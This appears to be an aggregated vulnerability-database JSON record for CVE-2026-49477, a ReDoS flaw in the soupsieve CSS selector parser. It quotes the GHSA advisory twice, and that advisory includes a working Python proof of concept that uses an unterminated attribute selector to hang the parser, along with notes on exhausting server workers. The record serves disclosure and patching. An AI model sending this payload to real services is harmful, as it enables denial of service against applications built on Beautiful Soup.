{"id":"CVE-2026-49477","aliases":["DEBIAN-CVE-2026-49477","EUVD-2026-44538","GHSA-836r-79rf-4m37","OESA-2026-3619","OESA-2026-3620","OESA-2026-3621","OESA-2026-3762","PYSEC-2026-3072","RHSA-2026:23992","RHSA-2026:34119","ROOT-APP-PYPI-CVE-2026-49477","SUSE-SU-2026:22660-1","SUSE-SU-2026:3239-1","SUSE-SU-2026:3240-1","UBUNTU-CVE-2026-49477","openSUSE-SU-2026:21342-1"],"status":"published","title":"Soup Sieve: Regular Expression Denial of Service (ReDoS) in soupsieve Selector Parser","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00644,"percentile":0.51159,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333","CWE-400"],"published":"2026-07-09T13:37:46Z","modified":"2026-10-28T02:31:10Z","fixes":[{"ecosystem":"PyPI","package":"soupsieve","fixed_in":["2.8.4"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"soupsieve","fixed_in":["2.8.4-1"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"rootio-soupsieve","fixed_in":["2.8.3+root.io.1","2.6+root.io.1","2.8.1+root.io.2","2.7+root.io.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.8.3"},{"fixed":"2.8.4"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.3.2-1","2.4-1","2.4.1-1","2.4.1-2","2.5-1","2.6-1","2.7-1","2.7-2","2.8.1-1","2.8.3-1","2.8.4-1"]},{"source":"osv","ecosystem":"Debian:13","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.7-1","2.7-2","2.8.1-1","2.8.3-1","2.8.4-1"]},{"source":"osv","ecosystem":"Debian:14","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.4-1"}]}],"versions":["2.7-1","2.7-2","2.8.1-1","2.8.3-1"]},{"source":"osv","ecosystem":"PyPI","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.4"}]}],"versions":["0.4","0.5","0.5.1","0.5.2","0.5.3","0.6","1.0","1.0.1","1.0.2","1.0b1","1.0b2","1.1","1.2","1.2.1","1.3","1.3.1","1.4","1.5","1.6","1.6.1","1.6.2","1.7","1.7.1","1.7.2","1.7.3","1.8","1.9","1.9.1","1.9.2","1.9.3","1.9.4","1.9.5","1.9.6","2.0","2.0.1","2.1","2.2","2.2.1","2.3","2.3.1","2.3.2","2.3.2.post1","2.4","2.4.1","2.5","2.6","2.7","2.8","2.8.1","2.8.2","2.8.3"]},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP4","package":"python-soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2-3.oe2203sp4"}]}],"bundled":2},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP1","package":"python-soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4-2.oe2403sp1"}]}],"bundled":2},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP3","package":"python-soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4-2.oe2403sp3"}]}],"bundled":2},{"source":"osv","ecosystem":"openEuler:24.03-LTS-SP4","package":"python-soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4-2.oe2403sp4"}]}],"bundled":2},{"source":"osv","ecosystem":"PyPI","package":"soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.4"}]}],"versions":["0.4","0.5","0.5.1","0.5.2","0.5.3","0.6","1.0","1.0.1","1.0.2","1.0b1","1.0b2","1.1","1.2","1.2.1","1.3","1.3.1","1.4","1.5","1.6","1.6.1","1.6.2","1.7","1.7.1","1.7.2","1.7.3","1.8","1.9","1.9.1","1.9.2","1.9.3","1.9.4","1.9.5","1.9.6","2.0","2.0.1","2.1","2.2","2.2.1","2.3","2.3.1","2.3.2","2.3.2.post1","2.4","2.4.1","2.5","2.6","2.7","2.8","2.8.1","2.8.2","2.8.3"]},{"source":"osv","ecosystem":"Red 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16.0","package":"python-soupsieve","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6-160000.4.1"}]}],"bundled":2}],"products":[{"vendor":"facelessuser","product":"soup_sieve"},{"vendor":"facelessuser","product":"soupsieve"}],"references":[{"url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-836r-79rf-4m37","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","article","report"]},{"url":"https://github.com/facelessuser/soupsieve/commit/eb4397618709186c109400448c6043b728217dc3","tags":["x_refsource_MISC","Patch","fix","article","report"]},{"url":"https://github.com/facelessuser/soupsieve/releases/tag/2.8.4","tags":["x_refsource_MISC","Release Notes","web","article","report"]},{"url":"https://github.com/advisories/GHSA-836r-79rf-4m37","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/49xxx/CVE-2026-49477.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49477","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-49477","tags":["advisory"]},{"url":"https://github.com/facelessuser/soupsieve","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3619","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49476","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3620","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3621","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3762","tags":["advisory"]},{"url":"https://pypi.org/project/soupsieve","tags":["package"]},{"url":"https://access.redhat.com/errata/RHSA-2026:23992","tags":["advisory"]},{"url":"https://images.redhat.com/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-49477","tags":["report"]},{"url":"https://access.redhat.com/security/updates/classification/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-49476","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_23992.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2500715","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-49476","tags":["advisory"]},{"url":"https://github.com/facelessuser/soupsieve/commit/28108ab805818c832d9568142a99844fd95a0d39","tags":["article"]},{"url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-2wc2-fm75-p42x","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2500752","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-49477","tags":["advisory","report"]},{"url":"https://access.redhat.com/errata/RHSA-2026:34119","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-45409","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44431","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_34119.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477167","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44431","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44431","tags":["advisory"]},{"url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-qccp-gfcp-xxvc","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2485616","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-45409","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45409","tags":["advisory"]},{"url":"https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx","tags":["article"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202622660-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1271187","tags":["report"]},{"url":"https://bugzilla.suse.com/1271188","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49476","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49477","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20263239-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1256316","tags":["report"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20263240-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-49477","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-49477","title":"Soup Sieve: Regular Expression Denial of Service (ReDoS) in soupsieve Selector Parser","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.","status":"published","published":"2026-07-14T20:51:29.369Z","modified":"2026-07-21T14:49:40.914Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-400","CWE-1333"],"updated_at":"2026-11-02T13:35:10.963527Z"}],"euvd":[{"id":"EUVD-2026-44538","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.","status":"published","published":"2026-07-14T20:51:29Z","modified":"2026-07-21T14:49:40Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T18:19:47.436242Z"}],"ghsa":[{"id":"GHSA-836r-79rf-4m37","title":"Soup Sieve: Regular Expression Denial of Service (ReDoS) via Selector Parser","description":"### Summary\n\nThe CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the `VALUE` regex pattern in `css_parser.py` enters exponential backtracking. A payload of only **300 bytes** causes the regex engine to hang for **over 3 seconds**, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.\n\nTo be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.\n\nAny application that passes untrusted CSS selector strings to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` is affected.\n\n### Details\n\n**Affected code:** `soupsieve/css_parser.py`, line ~121 - `RE_VALUES` / `VALUE` regex pattern\n\nThe soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings (`\"value\"` or `'value'`) and unquoted identifiers. The regex contains alternation branches for:\n\n1. Double-quoted strings: `\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"`\n2. Single-quoted strings: `'[^'\\\\]*(?:\\\\.[^'\\\\]*)*'`\n3. Unquoted identifiers\n\nWhen an attribute selector contains an **unterminated quoted value** - e.g., `[a=\"xxxx...` (opening `\"` but no closing `\"`) -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes **catastrophic backtracking** where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.\n\n**Root cause:** The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.\n\n**Key characteristics:**\n- **Input size:** Only 300 bytes are needed to trigger a \u003e3 second hang\n- **Amplification:** Each additional character approximately doubles the backtracking time\n- **No memory impact:** The attack consumes CPU only (regex backtracking is compute-bound)\n\n### Proof of Concept\n\n```python\nimport time\nimport soupsieve as sv\n\nPAYLOAD_LEN = 300\n\n# Control: well-formed selector with terminated quote (completes instantly)\nwell_formed = '[a=\"' + ('x' * PAYLOAD_LEN) + '\"]'\nstart = time.perf_counter()\ntry:\n    sv.compile(well_formed)\nexcept Exception:\n    pass\ncontrol_time = time.perf_counter() - start\nprint(f\"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s\")\n\n# Exploit: unterminated quote triggers catastrophic regex backtracking\nmalformed = '[a=\"' + ('x' * PAYLOAD_LEN)\nstart = time.perf_counter()\ntry:\n    sv.compile(malformed)  # WARNING: This will hang for \u003e3 seconds\nexcept Exception:\n    pass\nexploit_time = time.perf_counter() - start\nprint(f\"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s\")\n\nslowdown = exploit_time / max(control_time, 1e-9)\nprint(f\"Slowdown: {slowdown:.0f}x\")\n\n# Expected output:\n# Well-formed selector (306 bytes): ~0.001s\n# Malformed selector (304 bytes): \u003e3.0s (may need to be killed)\n# Slowdown: \u003e3000x\n#\n# NOTE: On some systems the malformed selector may hang indefinitely.\n# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.\n```\n\n**Safe testing variant with timeout:**\n\n```python\nimport signal\nimport soupsieve as sv\n\ndef timeout_handler(signum, frame):\n    raise TimeoutError(\"ReDoS confirmed: regex backtracking exceeded timeout\")\n\nPAYLOAD_LEN = 300\nmalformed = '[a=\"' + ('x' * PAYLOAD_LEN)\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(3)  # 3-second timeout\n\ntry:\n    sv.compile(malformed)\n    print(\"Selector compiled (not vulnerable)\")\nexcept TimeoutError as e:\n    print(f\"VULNERABLE: {e}\")\nexcept Exception as e:\n    print(f\"Other error: {e}\")\nfinally:\n    signal.alarm(0)  # Cancel the alarm\n```\n\n### Impact\n\n**Severity: High**\n\nAn attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because:\n\n1. **Tiny payload:** Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits\n2. **No special characters:** The payload consists entirely of printable ASCII characters (`[a=\"xxx...`)\n3. **Exponential scaling:** Each additional byte approximately doubles the backtracking time, making the attack easily tuneable\n4. **Thread blocking:** The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals)\n\n| Parameter | Value |\n|---|---|\n| Input size | 300 bytes |\n| CPU time consumed | \u003e3 seconds (exponential with payload length) |\n| Memory consumed | Negligible (CPU-only attack) |\n| Authentication required | None |\n| User interaction required | None |\n\n**Deployment impact:** In threaded or async web applications, a single malicious request blocks a worker thread for the duration of the backtracking. An attacker can submit multiple concurrent requests to exhaust all available workers, causing complete service denial. The small payload size makes the attack easy to deliver and difficult to detect via request size limits.\n\n**Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application, API, or service that accepts CSS selectors from users is potentially affected.\n\n---\n\n### Credit\n\nThe vulnerability was discovered by a security research team from the University of Sydney, whose focus is detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/","status":"published","published":"2026-07-09T13:37:46Z","modified":"2026-07-09T13:37:48Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-1333"],"updated_at":"2026-11-02T14:40:41.501474Z"}],"nvd":[{"id":"CVE-2026-49477","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.","status":"published","published":"2026-07-14T21:17:02.007Z","modified":"2026-10-24T21:10:00.13Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-400","CWE-1333"],"updated_at":"2026-11-02T14:12:29.879716Z"}],"osv":[{"id":"CVE-2026-49477","title":"Soup Sieve: Regular Expression Denial of Service (ReDoS) in soupsieve Selector Parser","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.","status":"published","published":"2026-07-14T20:51:29.369Z","modified":"2026-10-28T02:31:10.933469563Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-1333","CWE-400"],"updated_at":"2026-11-02T15:45:07.060148Z"},{"id":"DEBIAN-CVE-2026-49477","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.","status":"published","published":"2026-07-14T21:17:02.007Z","modified":"2026-10-25T09:47:29.489334868Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:56.444225Z"},{"id":"GHSA-836r-79rf-4m37","title":"Soup Sieve: Regular Expression Denial of Service (ReDoS) via Selector Parser","description":"### Summary\n\nThe CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the `VALUE` regex pattern in `css_parser.py` enters exponential backtracking. A payload of only **300 bytes** causes the regex engine to hang for **over 3 seconds**, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.\n\nTo be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.\n\nAny application that passes untrusted CSS selector strings to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` is affected.\n\n### Details\n\n**Affected code:** `soupsieve/css_parser.py`, line ~121 - `RE_VALUES` / `VALUE` regex pattern\n\nThe soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings (`\"value\"` or `'value'`) and unquoted identifiers. The regex contains alternation branches for:\n\n1. Double-quoted strings: `\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"`\n2. Single-quoted strings: `'[^'\\\\]*(?:\\\\.[^'\\\\]*)*'`\n3. Unquoted identifiers\n\nWhen an attribute selector contains an **unterminated quoted value** - e.g., `[a=\"xxxx...` (opening `\"` but no closing `\"`) -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes **catastrophic backtracking** where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.\n\n**Root cause:** The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.\n\n**Key characteristics:**\n- **Input size:** Only 300 bytes are needed to trigger a \u003e3 second hang\n- **Amplification:** Each additional character approximately doubles the backtracking time\n- **No memory impact:** The attack consumes CPU only (regex backtracking is compute-bound)\n\n### Proof of Concept\n\n```python\nimport time\nimport soupsieve as sv\n\nPAYLOAD_LEN = 300\n\n# Control: well-formed selector with terminated quote (completes instantly)\nwell_formed = '[a=\"' + ('x' * PAYLOAD_LEN) + '\"]'\nstart = time.perf_counter()\ntry:\n    sv.compile(well_formed)\nexcept Exception:\n    pass\ncontrol_time = time.perf_counter() - start\nprint(f\"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s\")\n\n# Exploit: unterminated quote triggers catastrophic regex backtracking\nmalformed = '[a=\"' + ('x' * PAYLOAD_LEN)\nstart = time.perf_counter()\ntry:\n    sv.compile(malformed)  # WARNING: This will hang for \u003e3 seconds\nexcept Exception:\n    pass\nexploit_time = time.perf_counter() - start\nprint(f\"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s\")\n\nslowdown = exploit_time / max(control_time, 1e-9)\nprint(f\"Slowdown: {slowdown:.0f}x\")\n\n# Expected output:\n# Well-formed selector (306 bytes): ~0.001s\n# Malformed selector (304 bytes): \u003e3.0s (may need to be killed)\n# Slowdown: \u003e3000x\n#\n# NOTE: On some systems the malformed selector may hang indefinitely.\n# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.\n```\n\n**Safe testing variant with timeout:**\n\n```python\nimport signal\nimport soupsieve as sv\n\ndef timeout_handler(signum, frame):\n    raise TimeoutError(\"ReDoS confirmed: regex backtracking exceeded timeout\")\n\nPAYLOAD_LEN = 300\nmalformed = '[a=\"' + ('x' * PAYLOAD_LEN)\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(3)  # 3-second timeout\n\ntry:\n    sv.compile(malformed)\n    print(\"Selector compiled (not vulnerable)\")\nexcept TimeoutError as e:\n    print(f\"VULNERABLE: {e}\")\nexcept Exception as e:\n    print(f\"Other error: {e}\")\nfinally:\n    signal.alarm(0)  # Cancel the alarm\n```\n\n### Impact\n\n**Severity: High**\n\nAn attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because:\n\n1. **Tiny payload:** Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits\n2. **No special characters:** The payload consists entirely of printable ASCII characters (`[a=\"xxx...`)\n3. **Exponential scaling:** Each additional byte approximately doubles the backtracking time, making the attack easily tuneable\n4. **Thread blocking:** The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals)\n\n| Parameter | Value |\n|---|---|\n| Input size | 300 bytes |\n| CPU time consumed | \u003e3 seconds (exponential with payload length) |\n| Memory consumed | Negligible (CPU-only attack) |\n| Authentication required | None |\n| User interaction required | None |\n\n**Deployment impact:** In threaded or async web applications, a single malicious request blocks a worker thread for the duration of the backtracking. An attacker can submit multiple concurrent requests to exhaust all available workers, causing complete service denial. The small payload size makes the attack easy to deliver and difficult to detect via request size limits.\n\n**Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application, API, or service that accepts CSS selectors from users is potentially affected.\n\n---\n\n### Credit\n\nThe vulnerability was discovered by a security research team from the University of Sydney, whose focus is detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/","status":"published","published":"2026-07-09T13:37:46Z","modified":"2026-09-10T03:51:10.94929583Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-1333","CWE-400"],"updated_at":"2026-11-02T15:46:41.732368Z"},{"id":"OESA-2026-3619","title":"python-soupsieve security update","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. It aims to provide selecting, matching, and filtering using modern CSS selectors. Soup Sieve currently provides selectors from the CSS level 1 specifications up through the latest CSS level 4 drafts and beyond (though some are not yet implemented).\r\n\r\nSecurity Fix(es):\n\nSoup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve allocates unbounded memory when compiling large comma-separated selector lists, allowing an attacker who can supply a crafted selector string to soupsieve.compile() or Beautiful Soup .select() / .select_one() to allocate hundreds of megabytes of heap memory from a relatively small input and cause denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49476)\n\nSoup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49477)","status":"published","published":"2026-09-05T15:03:13Z","modified":"2026-09-05T15:16:23.147274891Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:47.217107Z"},{"id":"OESA-2026-3620","title":"python-soupsieve security update","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. It aims to provide selecting, matching, and filtering using modern CSS selectors. Soup Sieve currently provides selectors from the CSS level 1 specifications up through the latest CSS level 4 drafts and beyond (though some are not yet implemented).\r\n\r\nSecurity Fix(es):\n\nSoup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve allocates unbounded memory when compiling large comma-separated selector lists, allowing an attacker who can supply a crafted selector string to soupsieve.compile() or Beautiful Soup .select() / .select_one() to allocate hundreds of megabytes of heap memory from a relatively small input and cause denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49476)\n\nSoup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49477)","status":"published","published":"2026-09-05T15:03:13Z","modified":"2026-09-05T15:16:23.315108807Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:47.217107Z"},{"id":"OESA-2026-3621","title":"python-soupsieve security update","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. It aims to provide selecting, matching, and filtering using modern CSS selectors. Soup Sieve currently provides selectors from the CSS level 1 specifications up through the latest CSS level 4 drafts and beyond (though some are not yet implemented).\r\n\r\nSecurity Fix(es):\n\nSoup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve allocates unbounded memory when compiling large comma-separated selector lists, allowing an attacker who can supply a crafted selector string to soupsieve.compile() or Beautiful Soup .select() / .select_one() to allocate hundreds of megabytes of heap memory from a relatively small input and cause denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49476)\n\nSoup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49477)","status":"published","published":"2026-09-05T15:03:14Z","modified":"2026-09-05T15:16:23.15593623Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:47.217107Z"},{"id":"OESA-2026-3762","title":"python-soupsieve security update","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. It aims to provide selecting, matching, and filtering using modern CSS selectors. Soup Sieve currently provides selectors from the CSS level 1 specifications up through the latest CSS level 4 drafts and beyond (though some are not yet implemented).\r\n\r\nSecurity Fix(es):\n\nSoup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve allocates unbounded memory when compiling large comma-separated selector lists, allowing an attacker who can supply a crafted selector string to soupsieve.compile() or Beautiful Soup .select() / .select_one() to allocate hundreds of megabytes of heap memory from a relatively small input and cause denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49476)\n\nSoup Sieve is 